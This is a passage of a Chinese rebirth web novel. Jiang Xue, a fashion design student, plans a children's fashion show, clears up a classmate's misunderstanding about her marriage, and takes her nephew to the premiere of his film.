赵伟明心中得意，觉得徐琳琳这么问，说明自己十有八九猜中了她的心思，便带着邀功的语气说：“琳琳，这你还看不出来吗？那个江雪，压根不是家里有钱，你看她旁边那个男的，孩子都那么大了，江雪还跟他那么亲密，谁知道他们是什么关系，说不定就是……” “够了！”徐琳琳的眼神越来越冷，直直的盯着他，质问道：“谁告诉你那是江雪？” 徐琳琳当然看清了江雪的样子，还有她身边的那个男人，以及两人亲密的姿态，紧握的双手，无一不证明两人之间的关系不一般。 他们是情侣吗？可那个男人的孩子都那么大了，江雪无论如何是不是有那么大的儿子的。 但下意识的，徐琳琳打断了赵伟明的猜测，并一口否认了他的话。 赵伟明一愣，有些不敢置信，“她……你……我……”他结结巴巴的说：“我们不都看见了？” “谁看见了？”徐琳琳看向另一个女生，“我没看见，你看见了？” 女生自然向着徐琳琳说话，对赵伟明投来的目光视而不见，“没看见，离那么远，都看不清脸，谁知道是谁。” 赵伟明不知道事情怎么会变成这样，徐琳琳和江雪关系不好，不应该很乐意看到对方倒霉吗？怎么倒像是在帮着对方说话似得？ 眼看徐琳琳对他态度变差，赵伟明急了，略带谴责的看着徐琳琳道：“琳琳，你怎么能这样？我不也是为你好吗？” 徐琳琳呼吸一滞，赵伟明继续道：“我专门买了晚几天回去的车票，就是为了能陪你看电影，你到底有没有把我当朋友？” “当然。”徐琳琳深吸一口气，“我当然把你当朋友。” 人不能没有朋友。 ……但是江雪不一样，她身边从来不会跟着很多人，和她关系好的只有两个女生。 徐琳琳挂起微笑，“不过你确实看错了，那个人不是江雪。对了，你前段时间不是说自己想吃肯德基吗？走吧，我请你们去。” 赵伟明还想说什么，另一个女生打断他，“没想到琳琳你还记得，怪不得大家都说你人好，正好我也饿了，我们打个车过去吧。” 徐琳琳握了握拳，“走吧。” 她不相信江雪会是那种人，等开学后，她会亲自找江雪问清楚。 * 江雪还不知道发生在自己身上的乌龙事件，只能说崔丽丽和方娟确实够朋友，这都快一年过去了，她已婚的消息仍处于一种“你知我知天知地知”的状态，连他们同班同学都不知道。 此刻，江雪正和乔亚楠商量如何拍广告。 去年暑假关嘉言去京市试镜，试镜成功后又去昌平市拍电影。这个暑假刚刚开始，关嘉言便又期待起来。 刚从学校领完成绩单，关嘉言便迫不及待的问江雪，“舅妈，我们去哪儿试镜？” 江雪先看成绩单，语文九十八，数学一百。回头摸摸关嘉言热乎乎湿漉漉的小脸，从储物箱里拿出纸巾给他擦汗，笑眯眯的问：“又想去拍电影了？忘了去年你怎么说的？” 去年在昌平市，哪怕有电风扇，关嘉言依旧热的睡不着，哭唧唧的说自己再也不要拍电影了。当然这句话第二天就被他抛到了脑后，依旧开开心心的按照剧本完成自己的戏份。 关嘉言显然是记得自己说过的话，不好意思的嘿嘿一笑，“去年我还是小孩子，小孩子说的话不能当真。” 江雪闻言笑道：“那现在言言不是小孩子了？” 关嘉言认真点头，伸出手指，“我已经八岁了，马上就是三年级的大学生了！” “对，三年级就是大学生了。”江雪依旧笑眯眯的，“大学生要开始学英语了，所以这个暑假你要补课。” 简直是晴天霹雳，关嘉言“啊”的一声，假装昏厥的躺倒在沙发上。 江雪拍了拍他的屁股，将成绩单好好收了起来。 倒不是江雪不让关嘉言去拍戏，而是像《山外山》这样的机会本就属于可遇不可求。大部分剧组需要的小演员，可能只有一个镜头，一句台词，或者一句台词都没有。公开招募的机会微乎其微，大都直接联系经纪公司找人。 上辈子姜大强和徐秀兰就是找了这种公司，完全没有考虑姜衡还要上学读书，不管不顾的给他接拍各种剧本和广告。最后只有《山外山》打出了名气，其它的全都毫无水花。 重来一次，江雪不打算让关嘉言过早的和经纪公司签约。 一是一旦签约就要服从经纪公司的安排，到时候不可避免的会耽误学业。二来关嘉言年纪还小，哪怕他未来会走演艺这条道路，江雪还是想让他多学一点儿东西，多一条选择的道路。 索性《山外山》马上就要播出，江雪决定先缓一缓，等电影播出后，主动找上来的机会会多很多。 乔亚楠就在这时候打来了电话，“江雪，我记得你之前说，言言拍过电影，对吧？” “对。”江雪笑道：“又要找言言当模特？” 听到“当模特”三个字，关嘉言的眼睛“biu”的一下亮了起来，眼巴巴的看着江雪打电话。他的补习班已经上了一星期，什么ABCD学的他头晕眼花，舌头都快要捋不直了。 “不当模特。”乔亚楠缓缓吐出一口气，“这次是拍广告。” 童心服装店在海市已经小有名气，江雪去接关嘉言放学的时候，时不时就会从等待的家长口中听到童心服装店的名字。但乔亚楠的目标远不止海市，就像当初江雪说的那样，她还想在京市开分店。 “要开到全国各地！”乔亚楠给自己定了个不小的目标。 “现在大家都乐意看电视，报纸上哪有电视上看的直接呢？”童心服装店在报纸上登过不少广告，乔亚楠还专门找广告公司写广告词，读起来像顺口溜似的，朗朗上口。 可谁家是看顺口溜买衣服的，还是要看衣服的款式，看穿在身上好不好看。 江雪问她，“拍广告要不少钱吧。” 乔亚楠伸出手，给她比了个数字，咂了咂嘴道：“还不算给电视台的钱。” 三年前为了给安泰打广告，江雪就调查过在电视上登广告的价钱，可以说是按秒收费，就算是非黄金时间段的广告收费也不便宜，更何况一则广告再怎么短也得一分钟左右，再短恐怕观众连品牌名都记不住。 “这也太贵了。”江雪问她，“你算成本了没？” 乔亚楠拿着大哥大叹了口气，“舍不得孩子套不着狼。” 自从童心服装打出名气，现在市面上又多了童欣、童芯、同心，数不胜数，乔亚楠去巡店的时候，还见到过有人拿着“童芯”来找他们退货的。 江雪想起三年前安泰办的那场比武大会，那次和电视台的合作，完全称得上是空手套白狼。 江雪认真想了一会儿，忽然道：“我们下个季度的新款出了吗？”—— 作者有话说：对赵伟明戏份进行删改，故47、48、53、54、55章均重新修订 第五十六章 还是日常 下个季度就是秋款, 不过海市几乎不下雪，秋冬两季不甚分明，江雪便建议乔亚楠把秋冬款放在一起做。 江雪翻出份报纸。她有收集东西的习惯, 报纸作为信息传播的主流媒介, 看过之后不会随意丢弃，而是会根据报纸上记载的信息分类收纳, 以便要用的时候立刻就能找到。 江雪这次找出来的是三月份的报纸，并将上面的一条新闻指给乔亚楠看。 乔亚楠一字一句的读出标题，“时装公司‘追梦世界’时装秀盛大开幕。” 这个什么时装秀乔亚楠是知道的, 电视上重播了好几次。要乔亚楠说, 这不就是时装表演嘛, 八几年那会儿她十八九岁, 就有人找她参加海市的服装表演队, 被她妈追着骂出去二里地去。 一打眼十来年过去, 原来叫人谈之色变的东西, 现在竟然堂而皇之的出现在了电视上, 并且谁都不当回事。乔亚楠看电视时还跟她妈开玩笑, 说要不是当年她妈拦着, 说不定她现在也是个大明星。 思绪拉回到现在, 乔亚楠和江雪认识两年多，立刻就明白了她的意思，“你是说我们也办一场时装秀？” 都是服装, 好像也不是不行。 乔亚楠思考起这件事的可能性, “办时装秀要专门的大场地, 租金可不少。再说了，人家服装公司请来的都是一水的漂亮女孩。”那才有看头，他们这边一上台, 一群半大孩子，有几个人会看。 “没有大场地，小场地也是一样的办嘛。”江雪说：“我看百货公司一楼那块空地就挺好的，搭个台子，再铺条红毯，正好上楼就是服装店，看完表演当场就能购买。” 江雪说的有模有样，说得乔亚楠都不由得心动起来。 江雪紧接着又说:“时装公司有时装公司的受众，童装有童装的受众，要是真找一群十八九岁的女孩子去展示童装，那成什么了？至于有没有人看，那就更不用担心了，回头在报纸上登个招小演员的广告，保管这场童装秀未播先火。” 后来那么多人在网上问“我家孩子能不能当童模”，难道现在就没有吗？就连姜大宝，上辈子的徐秀兰都想让他出道，跟姜衡掰掰腕子。 江雪：“也不用完全弄得和时装秀一样，太正经了也不好。找几个小朋友表演表演节目，唱歌跳舞什么的，当然要穿童心的衣服。” 江雪：“电视台那边倒是可以去问问，看他们愿不愿意来拍摄，实在不行就自己找人录像刻成光盘，在店里放台电视机，循环播放。” “早知道当初开业就该找你来给我出主意。”乔亚楠听的瞠目结舌，当即拍板，一阵风似的风风火火的卷出去了，“我这就跟百货公司的经理谈租场地去。” * 童装秀需要一两个月的时间筹备，但广告还是要拍的。 乔亚楠不死心，“万一以后就用上了呢。” 广告的后期时长远不如电影那么久，拍完半个月后，乔亚楠特地叫上江雪，让她带着关嘉言一起去广告公司审片。 经费有限，广告只拍了一分多钟。 关嘉言作为唯一主角，先是穿着脏兮兮的衣服在街边跑跑跳跳，随机被橱窗里的衣服吸引，紧接着镜头一转，橱窗里的衣服到了关嘉言身上，人也变得干干净净，微笑着面对镜头，屏幕上浮现出童心服装的标识和联系电话。 算是个平平无奇，但也挑不出错的广告片。乔亚楠很满意，吁出一口气，等广告公司的人离开，才对江雪说“”“比我预想中好。” 一分价钱一分货，她选的是最低档。广告公司普遍和经纪公司有合作，得知她要拍童装广告，还给她推荐了几个小演员，说是演过电视剧，也拍过其它广告。 “是小明星呢。”广告公司的经理这么跟乔亚楠说。 乔亚楠一天到晚忙的没时间看电视，经理推荐给她的这几个人是不是小明星不好说，广告费倒真是大明星的水准，拍摄半天就收费一千块。 乔亚楠没用他推荐的人，经理一开始还劝她，说没有拍摄经验的小孩子不知道怎么面对镜头，拍出来的效果不好。等广告拍完，就跑去问江雪，有没有给孩子签约经纪公司的意向。 没等江雪开口，关嘉言先表达了自己的态度，他不喜欢拍广告，觉得没什么意思，不如拍电影好玩。 江雪便顺理成章的拒绝，“不好意思，目前没有这个打算。” 经理很遗憾，还是给了江雪一张名片，“要是改变想法，可以联系我。” 只可惜经理没等到江雪改变想法。 八月，电影《山外山》送审通过，正式定档十月。 接到消息的唐晓曦第一时间给江雪打来电话，“江雪，你看报纸了吗？” “正在看。”江雪翻着手上的报纸。 作为当下信息传播的主流媒介，报纸上的信息五花八门，甚至还有电视台的节目单，上面详细标注了每个节目或者电视剧的播出时间和播出进度。 江雪在上面找到了《山外山》的宣传广告，随口道：“国庆档嘛。” “什么国庆档？”唐晓曦问。 江雪“呃”了一声，作为一个经历过春节档、暑假档、国庆档洗脑的人，“国庆档”三个字完全是她看到上映时间后的下意识反应。 “档就是档期，春节就是春节档，国庆就是国庆档嘛。”江雪含含糊糊的糊弄过去，紧接着便转移话题，“是不是马上要开始电影宣传了？” 提起这个，唐晓曦美滋滋的说：“冯导专门通知我，叫我把从九月底到十月的时间全都空出来，说要参加首映礼，还要到一些电影院做宣传。” 唐晓曦是女主，肯定要跟着剧组从头跑到尾，最起码跑上半个月。江雪问她：“你的警察戏拍完了？” 唐晓曦：“早就拍完了。” 那是部情景剧，把一个个故事连在一起的那种。几个主演都是电视上的老面孔，唐晓曦只是演其中一个故事里的小角色，播出后可能就一两集的戏份。 戏份虽然不多，但唐晓曦很快就跟剧组里的人打好了关系，导演还要了她的联系方式，说以后有机会还找她。 唐晓曦美滋滋的，她现在已经完全不考虑结婚的事了。 之前追她的那个商人，对她死缠烂打，有次刚好被来找她的春芽碰见，把他好一顿骂，左邻右舍都出来看热闹。那人面子上过不去，竟然想对她们动手，结果被春芽一下子踹趴下，扭送到了公安局，之后就再也没出现过。 唐晓曦又问：“十月一日的首映礼，在京市，言言要不要来？” 江雪不知道上辈子的姜衡有没有参加首映礼，她还没接到冯康平电话—— 作者有话说：[眼镜]明天恢复双更。 47、48、53、54、55均修改，47、48修改不多，53、54、55改动较大，需要重看[可怜] 第五十七章 电影预告片 提起电影, 江雪的第一反应就是预告片。 谁没有被电影预告片欺骗过呢？有的是导演故布疑局，和正片反着来，观众看完预告片再去看电影, 收获双重惊喜, 回来后再乐此不疲的欺骗下一个人。 但更多的是诈骗式营销！ 预告片剪的精彩绝伦，去电影院看完正片才发现精彩的部分全在预告片里了, 还不是连在一起的，放到正片里就是稀烂。 江雪就上过不少预告片的当。 冯康平打电话来邀请关嘉言出席首映礼的时候，江雪便顺嘴问了一句, “冯导, 咱们的电影有没有预告片啊？” 预告片当然是有的, 只不过不像后来那样直接上线流媒体, 宣传铺天盖地的来, 只要打开手机就能看到。现在的预告片播放途径有限, 无非是电视广告、电影开场前的几分钟, 还有随光碟附送。 晚上看电视的时候, 江雪趁关嘉言不注意, 特意把电视换了个频道, 关嘉言打开电视, “咦”了一声。 舅舅和舅妈都不看电视，所以电视机一直是他调好的频道，只要打开就是他最喜欢看的电视剧。关嘉言没有注意道右上角的台标, 还以为是电视台没有放。 关嘉言去找报纸, 要是电视剧不播的话, 报纸上会说的。 江雪在画图，新家是三室两厅，两个大房间用作卧室, 剩下的小房间用作书房。说是书房，其实里面摆满了江雪的东西，有服装杂志、人台、桌子，还有陪了她三年的缝纫机，各种各样的布料塞了满满一柜子，几乎没有下脚的地方。除了江雪自己，没人能找到东西放在哪儿。 关嘉言跑到门口，喊：“舅妈，报纸！” 江雪抬头看了眼时间，起身走到门口，牵着他的手跟着他出去，关嘉言还懵懵懂懂的，舅妈不是不看电视吗？ 等回到客厅，关嘉言就知道是怎么一回事了。 电视上刚好在放预告片，江雪特意问了冯导预告片广告播出的时间和频道。冯康平只管拍电影的事，电影拍完后怎么宣传，那都是电影公司的工作，剧组没钱，但电影公司有钱，预告片轻轻松松就递到了电视台，选了个不错的时间段播出。 关嘉言愣了好一会儿，等到预告片里出现他的脸，才反应过来是什么情况，“哇！是电影！” 关嘉言要往前冲，江雪抬手摁住他的肩膀，“去沙发上看，不许离电视太近。” 预告片很快就放完了，关嘉言意犹未尽，还想再看一次，可电视上已经在播其他节目了。 关嘉言还不舍得从电视上移开视线，“舅妈，电影怎么这么短啊？”他在电影院里看的电影都很长，他刚刚只在电视上出现了一小会儿，他说了那么多的话，一句都没出现，全都是别人在说话。 “这不是电影。”江雪早就把照相机准备好了，关嘉言聚精会神看预告片的时候，她就在旁边摁下快门，留下了这珍贵的一幕。 拍完照，江雪告诉他，“电影要等十月才会上映，到时候舅妈带你要去京市参加首映礼。” 关嘉言不知道首映礼是什么，但听到去京市，他就想起来去京市试镜，“那上学怎么办？” 他还没忘了十月已经开学。 “国庆节有假期。”但假期不是后来的七天小长假，加上双休也只有三天，江雪说：“再请两天假。” 乔亚楠也在电视上看到了预告片，其实是乔雨薇先看到，认出来关嘉言，立刻叫来自己妈妈。第一遍的时候错过了，第二遍乔亚楠才看到。 电影才拍完一年，关嘉言没怎么变样，只是个子长高了不少。 乔亚楠后悔不迭，“早知道，打广告的时候就该把言言的名字也印上去，电影明星关嘉言，多响亮！” 乔亚楠去找百货公司谈租场地的事，她的童装店在里面开了两年，经营的相当不错，她一提，百货公司的负责人就答应了，反正是在一楼的空地，既不会影响别人，还能给百货公司吸引来不少顾客。 场地的问题解决后，报纸上紧跟着打起了广告，不过是招聘广告，向全海市招聘三十个小模特，男女各十五人。打电话咨询和来面试的人络绎不绝，乔亚楠这才知道，原来现在大家对当明星这件事的热情度这么高。 来的人多，自然有没被选上的，心里难免不舒服。江雪让乔亚楠提前印了优惠券，额度不用太大，满五十减两块，满一百减五块的这种，面试不通过的，都给塞两张优惠券。 江雪说：“说不定就有想买的衣服。” 优惠券印的多，到了活动当天还会随机发放。江雪想起来自己上辈子去买鞋，商场的营业员推荐她办卡，只要存五百，就能享受会员折扣，充五百还送一百，卡里一共六百元，每次消费就抵扣一百。 营业员的声音里带着蛊惑：“办卡是免费的呀，这个钱还是你的，随时过来消费都可以。” 稀里糊涂办完卡，拎着鞋盒出门，被风一吹才冷静下来，足足六百块，这不就说明未来还要在这家店买六双鞋？ 江雪把这个方法也告诉了乔亚楠，衣服可比鞋子的迭代速度快。现在人均收入低，一次性存五百六百不现实，那就降低额度，两三百也是可以的嘛。 很快，童心服装的首场服装秀开始了。 服装秀定在八月底，刚好还是童心服装店开业两周年的日子。店庆加上服装秀，乔亚楠从一周前就心里打鼓，生怕活动办不起来。 等到了活动当天，看到现场人山人海，乔亚楠的一颗秤砣才终于落进了心里。 人多，一些小偷小摸专门趁着这个时候浑水摸鱼，现在又都是现金交易，一不留神，钱包就被人摸走了。商场里的保安出来维护秩序，穿着工作服，背后印着两个大字——安泰。 乔亚楠在前面被挤出一头汗，好不容易到后台喘口气，就看到江雪亭亭玉立的站在那里，身上穿的连衣裙，上身像旗袍，却从腰往下却改了形制，还是有旗袍的模样，但是两边开叉开的高，不像旗袍那样略微影响行动，内里缝着一层层的薄纱，不会走光，反而显得更加飘逸。 江雪拿了瓶水递给她，乔亚楠拧开瓶盖，一口气先喝了大半瓶，才重重的呼出一口气。 江雪笑着问她，“怎么样？” 乔亚楠满脸喜色，“成了！” 原本她还安排了人在混在人群里活跃气氛，谁知道关嘉言一出场，就有人把他认了出来，不光是最近电视上播的电影预告片，还有之前的元旦汇演。 乔亚楠说：“言言真是大明星了！” 江雪就笑，有的人小时候的样子和长大完全不一样，可能过几年不见，就要感叹一句，真是长大了，都认不出来了。 关嘉言是个例外，他从小到大只用一张脸，哪怕历经青春期，五官逐渐长开，模样依旧没有大变化，依旧小头小脸，五官俊朗分明。 得益于关嘉言的“知名度”，乔亚楠还安排他上台唱了首歌，关嘉言想唱电影主题曲，被江雪拦住了，“要等电影上映后才能唱。” 电影上映还有一个月呢，关嘉言只能换了首歌唱。 有时候江雪也不得不感叹关嘉言的天赋，那首歌他只学了一天半，并且声乐老师只教了他那几句，剩下的是排练的时候，他听武凌唱的，听过几遍后，他就学会了。 外面传来关嘉言唱歌的声音，乔亚楠倚在桌边，手上打着拍子，跟江雪聊起其他，“来了个专门做本地新闻的电视台记者，说今天晚上就能上电视，还有家报纸，说等过几天约个时间，要来采访我，他们好写个报导。” 乔亚楠说着说着就看向了江雪，“要我说采访也得采访你这个大设计师，采访我能有什么用。” 乔亚楠的厂子越铺越大，光靠江雪自己肯定是不行的。她还找了其他设计师，但都是直接买断，和江雪的分成合作完全不一样。 现在乔亚楠走出去，别人都叫她“乔总”，谁能想到三年前她手里的服装厂摇摇欲坠，差点儿开不下去。要不是江雪还在上学，她都想给人直接办理入职，从副总做起。 江雪婉拒，“我是幕后工作者。” “什么幕后工作者啊。”乔亚楠说：“我看电视上，那些设计师最后不都跟着自己的作品出来嘛，杂志上也有设计师的名字，怎么算幕后工作者呢？” 其实江雪只是不想在电视上露面，上辈子短视频兴盛，她身边的不少同学都开始做自媒体，拍照拍视频，想要一夜之间成为网红。江雪也尝试过，但她不露脸，只分享自己做衣服的过程。 采访的事先搁在一边，乔亚楠打量着江雪身上的衣服，“你这衣服，是自己做的吧？” 江雪点点头，“对。” 乔亚楠也有几件旗袍，还是年轻的时候做的，那时候她身段也苗条，穿旗袍漂亮的不得了，薇薇她爸就是看了她穿旗袍的样子，才下定决心追她。 现在旗袍不流行了，大家都穿西装，要紧跟时尚潮流，结婚要买钻戒，还要穿白婚纱。放在以前，谁家结婚会穿一身白，可现在就流行这个，薇薇还问她，怎么家里没有妈妈的婚纱照。 “你这身旗袍倒是别致。”只可惜现在店里的夏款都是之前的，厂里现在做的都是秋冬款，要做，也得等到明年了。 江雪看出她的意思，轻轻一笑道：“不急，慢慢来。” “你是向来不急的。”乔亚楠撑着桌子，仰头一笑，“当初你说读书就去读书，真把我吓一跳。”—— 作者有话说：[眼镜] 第五十八章 关山越，痛失姓名 人生有一万种选择。 江雪也曾想过, 如果当初她没有回到学校读书，继而考大学，现在会不会又是另外一种境况。 或许她的裁缝店还在开, 但一定不会是在家里。算起来他们来海市三年, 搬家都搬了三次。可能她会租下一个小门面，做一些量体裁衣, 又或者缝缝补补的工作。 不过用不了几年，量体裁衣的人就会越来越少，裁缝这个职业, 仿佛也跟着一同消失在了时间的长河里。 江雪的目标是成为品牌服装的设计师, 完成自己上辈子的梦想。 假如以她之前的学历去应聘, 简历压根投不进去。就算她仗着知晓未来几十年后的设计投机取巧进去了, 也很难在那个岗位上再进一步。 毕竟这块土地上从来不缺天才。 尤其是在她经历过一年的系统性学习之后。 * 九月, 到处都在开学。 关嘉言一跃成了学校里的明星人物, 不是所有人都看过电影预告片, 但前一天晚上, 本地新闻播出了童心服装店的周年庆活动。 关嘉言作为童心的首个男装模特, 在走秀的时候毫无疑问的站在了第一个, 后来又在台上唱了首歌, 现在满大街都是认识他的人。 早上江雪送他去上学，刚在学校门口下车，关嘉言就被同样来送孩子上学的家长们认出来了。 一群人的目光齐刷刷看过来, 还有人跟关嘉言打招呼。 “哎呀, 小明星。” “小明星也来上学啊！” “小明星今年上几年级了？” …… 关嘉言的脸在叔叔阿姨们热情的调侃中红到了脖子根, 赶紧背上书包小跑进了学校，从背影看很有落荒而逃的意思。 等进了学校大门，关嘉言就放缓了脚步, 还回过头看了一眼，见江雪还没离开，赶紧举起手臂挥了挥，江雪看他的口型，说的是“再见”。 江雪也要上学，早上洗漱完，她在左手无名指上戴了枚素圈银戒。 之前江雪把钻戒收起来，就特意跟关山越解释过，是因为她的专业需要动手的地方多，在手上戴首饰不方便。还有就是钻戒太显眼，戴着招摇过市，结合电视上报导的各种新闻，确实不怎么不安全。 比如当年的曲兆兴。 关山越的视线落在那枚银戒上。 看了一眼，又看了一眼。 要是他想，他对任何人的观察都可以不被发觉。江雪察觉到他的目光，一下子就知道他是故意的。 “好不好看？”江雪把手举到他鼻子下晃了晃。 关山越顺势抓住了她的手，“好看。” 这话说得不假，江雪的手指细长，皮肤细滑，和他的手完全不一样，每次两个人牵手，他都不敢用太大的力气，像是握住了一捧云。 江雪抽回手，“好看就行。” 江雪选择戴戒指去上学，自然不单单是因为好看。 暑假时崔丽丽和方娟都回了家，三个人见不着面，但偶尔会打上一通电话。崔丽丽是直到快开学才想起来，之前有个自称是她高中同学的人，向她打听江雪是不是单身，后来又想通过她约江雪看电影。 那段时间刚好是期末考试，崔丽丽忙着复习考试，找借口拒绝那人之后，本想把这件事告诉江雪，谁知一忙起来就给忙忘了，后来放假回家，更是一点儿都没想起来。 现在学校已经不像当初那样严禁学生谈恋爱，只要不过分，处于一种民不举官不究的状态，可见已经没有早些年那么严格。 出门前，江雪不忘提醒关山越去报名成人大学，“记得带证件去报名，工商管理是热门专业，去晚了就没有名额了。” 关山越恹恹回答，“知道了。”国立纺织大学怎么没有工商管理。 他这副对学习不感兴趣的样子，气的江雪在他胳膊上拍了一下。关山越疼不疼不知道，反正江雪的手是疼的。 关山越看她表情不对，立马保证道：“我今天就和董志勇一起去报名。” 江雪：“……” 真是好兄弟。 * 相较于大一，大二的课程已经进入到服装设计的核心部分，理论课减少，实训课增多，学期结束之前，他们要尝试制作完整的成衣。 开学第一天的课上完，江雪背着包，慢悠悠的走向停车场。 已经是晚上六点，夕阳低垂，半边天空都被染成橘红色。隔了老远，江雪就看到自己的车旁边站着道身影，影子被夕阳拉的长长的，从身形上看，是个穿连衣裙的女生。 江雪心中隐隐有个猜测，她快步走过去，果然是徐琳琳。 “你怎么在这儿？”江雪问。 徐琳琳开门见山，“我有事要问你。”她没有江雪的联系方式，也不想叫其他人知道她们两个认识，就直接来停车场等着，守株待兔。 她脸上的神情颇为严肃，好像要说什么极为重要的事。 江雪也跟着端正了神色，“你说。” 徐琳琳道：“暑假的时候，有一次，我刚好看到你从饭店出来。” 暑假的时候关山越出差好几次，又或者是忙着加班，每到这时候就得江雪做饭，但她做的饭最多吃两顿，到第三顿，江雪就要带着关嘉言去外面吃。 徐琳琳冷不丁提起她从饭店出来，江雪还真不知道她说的是哪一次。 “你……” 徐琳琳刚一开口，眼睛就被光闪了一下，眯了眯眼，徐琳琳顺着光折射的方向看去，发现居然是江雪手上戴的一枚戒指。 喜欢戴首饰的人很多，有的人恨不得把十个手指头都戴满，根本不管有没有什么含义。可江雪明显不是这类人，她只戴了那一枚戒指，还是在左手无名指上。 徐琳琳倒吸了一口凉气，一把抓起她的手问：“你谈恋爱了？”是跟那个带孩子的男人吗？ 后半句话徐琳琳没问，也不敢问。 江雪没想到她的反应会这么大，愣了一下才说：“我结婚了。” 江雪还是第一次在徐琳琳脸上看到如此丰富的表情，震惊中夹杂着痛惜，痛惜中还带着丝恨铁不成钢，江雪险些以为自己做了什么伤天害理的事情。 徐琳琳一下子甩开她的手，“你怎么能这么做！” 江雪：“？” 江雪疑惑：“我怎么了？我严格遵守法律规定结的婚。”她甚至专门等到过完二十岁生日才去的民政局。 徐琳琳扭头就要走，江雪可不敢叫她就这么走了，哪有话说一半，剩下半句不说的，不问清楚，她今天晚上都睡不着觉，“你先等等，你倒是跟我说你看到什么了啊？” 徐琳琳的嘴唇抿得紧紧的，江雪又问了一遍，她才带着几分怒气道：“我看到你跟一个带孩子的男人在一起！” 什么男的？ 还带个孩子？ 电光火石间，江雪反应了过来。 那不就是关山越吗！ 江雪哭笑不得，赶紧三言两语解释清楚，又从书包里掏出一张纸，刷刷用笔在上面写上了自己的联系方式，忍着笑说：“以后直接给我打电话吧。” 怪不得开学第一天就来停车场等她，这么热的天，也不知道在这儿等了多久。 徐琳琳的脸红彤彤的，不知道是夕阳照的，还是别的原因，赧然道：“对不起，是我误会了。” 江雪摇摇头，“没关系。” 误会是误会了，但一个暑假过去，徐琳琳没往外说半个字。 徐琳琳的脸滚烫滚烫的，赶紧用手背贴了帖脸，她没想到自己搞了个这么大个乌龙出来。那个赵伟明，还一直撺掇她写匿名信，举报江雪有作风问题，话里话外，还说是为她好。 “赵伟明？”江雪觉得这个名字有些耳熟，再一想，这不就是崔丽丽说的那个想要约她看电影的男生吗？ 顿觉无语，“没事，学校知道我的情况。” 徐琳琳放下心来，“那就好。” 江雪叫她也把联系方式写下来，“等比赛开始，我们还可以远程交流一下嘛。” 徐琳琳写下了自己的联系方式，但她没有如期参加比赛。 徐琳琳要出国了—— 作者有话说：[害羞]谢谢纲吉·彭格列宝宝的地雷[哈哈大笑] 第五十九章 电影上映 首映礼在京市的一家电影院举行, 走红毯，拍照，接受采访, 致辞, 最后才是坐下来看电影。 关嘉言年纪小，又是第一次参加这种活动, 江雪特意带他提前两天到京市，现场模拟彩排了两次。到了活动当天，关嘉言穿着一身板板正正的小西装出现在红毯上, 大人们打领带, 他在领口别了个红色的蝴蝶领结。 现在还不时兴演部电影就把男女主拉郎凑对的营销方式, 走红毯的时候唐晓曦既没有挽着导演的胳膊, 也没有拉男主角的手, 反而是牵着关嘉言出场。 这么好的噱头自然有记者出来问, 唐晓曦说：“男主小时候怎么不算男主了？我们言言是小男主嘛, 对不读？” 面前全是黑洞洞的镜头, 还有举着话筒的不认识的叔叔阿姨们, 关嘉言紧张的绷着小脸, “嗯！” 人群里传出善意的笑声。 红毯尽头是一块宣传展板, 被邀请来的嘉宾都要在上面签名。前一个走完红毯，已经进到影厅的男主又走了出来，一把抱起关嘉言, 让他把名字签在了高处。 “谢谢大哥哥。”关嘉言把名字一笔一划的签在了展板上。 男女主并肩而立, 男主还抱着和自己饰演同个角色的小演员, 在场的记者们举起相机，抓紧时间记录下了这一幕。 首映礼来的没有真正意义上的观众，都是电影公司请来的媒体记者和影评人。看完电影第二天, 有关《山外山》的各种报道开始在报纸上密集出现。 江雪还接到了几家经纪公司递来的橄榄枝，都是问她有没有让关嘉言继续演戏的意愿，还有家唱片公司，看到主题曲演唱一栏写了关嘉言的名字，就说要给关嘉言出唱片，一年出一部，三年捧出个歌坛新星。 饼画的一个比一个大，江雪看了，都是些名不见经传的小公司。后来那些鼎鼎有名的经纪公司，现在还都没有成立，也没有后来内娱大小艺人遍地，目前的演艺圈，仍旧是港城占主导。 就像给《山外山》演唱主题曲的武凌，明明是京市本地人，但为了发展顺利，签约了港城唱片公司。 一周后，江雪和关嘉言返回海市。 回来第二天就是电影公映的日子，关山越给公司里的每个人都发了张电影票，有家属的还可以再额外申请一张。还有合作伙伴的公司，也都送了大把的电影票过去，一问，才知道原来是关总的外甥拍的电影，那自然是要捧场的。 上辈子《山外山》的票房成绩不算出彩，这辈子倒是很有看头，报纸上的报道一篇接着一篇，内容有好有坏，很有早期营销号的风格。 关嘉言如愿请了自己的小伙伴们去看电影。 到了电影院，《山外山》的海报就放在最显眼的位置，几个小朋友都想上去跟海报合影，还是江雪拉住了他们，告诉他们电影快要开始了，等看完出来再拍也不迟。 幸好是看完电影后出来才拍的，他们是周末来看的电影，江雪带着照相机，刚拍了两张就有人认出来海报上的小演员就在他们旁边站着，还上来要签名，江雪把照相机一收，趁着人还不多，赶紧带着他们离开了影院。 * 从京市回来后，江雪就把自己的报名表交了上去。 新一届服装设计大赛的主题是——未来。 随着比赛消息传开的，还有徐琳琳出国的消息。 江雪还以为自己听错了，“出国？现在？” 徐琳琳今年大三，这时候出国留学，等于放弃了国内的大学文凭，以后只能算肄业。 崔丽丽“嘘”了一声，摇摇头，“听她们同班同学说，她都半个月没来上课了，还以为跟去年一样，要参加比赛所以不来学校，谁知道一周前突然见她去了办公室，和她爸妈一起，要办退学手续。” 一周前江雪还在京市，等她回来，这件事已经传的风风雨雨，连出国原因都一清二楚了。 倒不是他们八卦，而是徐琳琳家的那些事上了报纸。设计师的爸和开公司的妈闹离婚，夫妻俩为了财产分割闹得不可开交，简直撕破脸皮，都忘了他们还有个女儿，等上了报纸才想起来这么一回事，于是火急火燎的要送徐琳琳出国。 崔丽丽说完直叹气，回想起去年她们刚入学的时候，听到上一届的学长学姐们提起徐琳琳，语气里都是羡慕。虽说见的那一面不怎么愉快，但总归是没什么大矛盾，谁都没放在心上，谁知道竟然会变成这样。 江雪犹豫着要不要给徐琳琳打电话，最后还是决定打一个试试。 第一遍打没打通，留的是座机号码，只能打电话，发条短信都不行。后来又打了几次，都没人接，直到快一个月后，徐琳琳才回了电话，请江雪喝咖啡。 还是上次的那家咖啡店，江雪早于约定时间十分钟来，一进门，发现徐琳琳已经到了。 看到她，江雪吃了一惊，“你怎么这么瘦了？” 以前的徐琳琳也瘦，但瘦的不过分，整体是协调的，现在一看，简直瘦的不像样子，两颊都凹了进去，眼下青黑一片，跟之前一比，完全像是变了个人。 徐琳琳对自己家的事闭口不谈，问起江雪比赛的事。 “初稿已经成了。”设计稿要在十二月结束前交过去，江雪闷头画了一个月，光是废稿都积攒了一箩筐，可画出来的东西，总觉得不对劲，就连现在这个初稿，江雪也觉得不满意。 